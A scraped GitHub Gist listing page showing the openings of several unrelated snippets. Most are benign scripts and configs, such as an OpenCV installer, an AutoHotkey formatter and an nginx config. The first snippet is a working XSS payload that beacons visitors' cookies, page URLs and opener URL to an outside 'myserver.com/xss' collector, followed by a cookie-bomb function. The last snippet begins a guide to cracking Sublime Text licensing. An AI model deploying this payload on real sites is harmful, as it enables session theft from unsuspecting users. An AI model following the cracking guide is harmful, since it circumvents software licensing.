Skip to content

Instantly share code, notes, and snippets.

(function(){(new Image()).src='http://myserver.com/xss//index.php?do=api&id=kQjOff&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://myserver.com/xss//index.php?do=keepsession&id=kQjOff&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
function setCookies () {
/*apache server limit 8192*/
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
var cookie = "ray"+i+"="+str+";path=/";
@sedovolosiy
sedovolosiy / install-opencv-2.4.13-in-ubuntu.sh
Created August 9, 2016 22:03 — forked from arthurbeggs/install_opencv2_ubuntu.sh
Install opencv-2.4.13 in Ubuntu 16.04
# install dependencies
sudo apt-get update
sudo apt-get install -y build-essential
sudo apt-get install -y cmake
sudo apt-get install -y libgtk2.0-dev
sudo apt-get install -y pkg-config
sudo apt-get install -y python-numpy python-dev
sudo apt-get install -y libavcodec-dev libavformat-dev libswscale-dev
sudo apt-get install -y libjpeg-dev libpng12-dev libtiff5-dev libjasper-dev
@Avantol13
Avantol13 / AutoHotkey.ahk
Last active May 27, 2024 21:26
AutoHotKey script with text conversion to upper, lower, invert, CamelCase to CAP_CASE, and CAP_CASE to CamelCase
; Quick Text Formatting/Style Changes and Other Helpful Windows Tools
; - High-compatibility and unifies keyboard shortcuts b/t programs
; - Shortcuts for converting selected text to the following:
; All lower: THIS_is-a_tESt -> this_is-a_test
; All Upper: THIS_is-a_tESt -> THIS_IS-A_TEST
; Caps case: ThisIsAnExample -> THIS_IS_AN_EXAMPLE
; thisIsAnExample -> THIS_IS_AN_EXAMPLE
; Camel Case: THIS_IS_AN_EXAMPLE -> ThisIsAnExample
; this_is_an_example -> ThisIsAnExample
; tHIS_Is_an_ExAmPLE -> ThisIsAnExample.
@Zulko
Zulko / 3D_piano_from_midi.py
Last active April 9, 2024 05:51
Turn a piano MIDI file into a basic 3D animated piano video.
"""
Turn a piano MIDI file into a basic 3D animated piano video.
See the result here:
I am leaving it as a script because it is not tested on enough MIDI files yet.
Zulko 2014
This script is released under a Public Domain (Creative Commons 0) licence.
anonymous
anonymous / default.conf
Created September 29, 2014 06:51
server {
listen 80;
server_name bitcall.org;
root /usr/share/nginx/html;
#charset koi8-r;
# access_log /var/log/nginx/log/host.access.log main;
if (!-e $request_filename) {
rewrite ^([_0-9a-zA-Z-]+)?(/wp-.*) $2 last;
rewrite ^([_0-9a-zA-Z-]+)?(/.*.php)$ $2 last;
rewrite ^ /index.php last;
@ccbikai
ccbikai / unsplash.py
Last active December 31, 2019 12:15
unsplash 全站下载脚本
# -*- coding: utf-8 -*-
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
# unsplash 全站下载脚本
# 请先安装 requests ,BeautifulSoup
# pip install requests beautifulsoup4
# 运行 python unsplash.py
# 输入最小页数和最大页数

检查以下文件夹删除不需要的即可以

  • ~/Library/Logs/ (我全删了,没影响)
  • ~/Library/Caches/xxxxx(使用 DaisyDisk 找到容量比较大的删除. 不会对系统有影响)
  • ~/Library/Caches/com.spotify.client(全删, 正常工作)
  • ~/Library/Caches/Google/chrome (全删, 正常工作)
  • /Applications/Google Chrome/Contents/Versions/ (只保留最新的那个文件夹, 其他的删除, 正常工作)
  • ~/Library/Developer/Xcode/DerivedData/ (全删, 正常工作.)

工具:

  • DaisyDisk 使用试用版即可,可直观查看文件(夹)大小.
// Capture author info & user status
NSDictionary *articleParams = [NSDictionary dictionaryWithObjectsAndKeys:
@"John Q", @"Author",
@"Registered", @"User_Status",
nil];
[Flurry logEvent:@"Article_Read" withParameters:articleParams];
@bennythemink
bennythemink / gist:ec7bf376c280b2cf1dd1
Created July 17, 2014 06:02
Small but handy NSString extension for checking if the string is a valid email address or is a valid number
@interface NSString (Extension)
- (BOOL) isAnEmail;
- (BOOL) isNumeric;
@end
@implementation NSString (Extension)
/**
@vertexclique
vertexclique / cracking.md
Last active May 11, 2024 21:17
Cracking guide for Sublime Text 3 Build 3059 / 3065 ( Mac / Win x86_64 / Windows x86 / Linux x64 / Linux x86 )

MacOS

Build 3059

MD5: 59bab8f71f8c096cd3f72cd73851515d

Rename it to: Sublime Text

Make it executable with: chmod u+x Sublime\ Text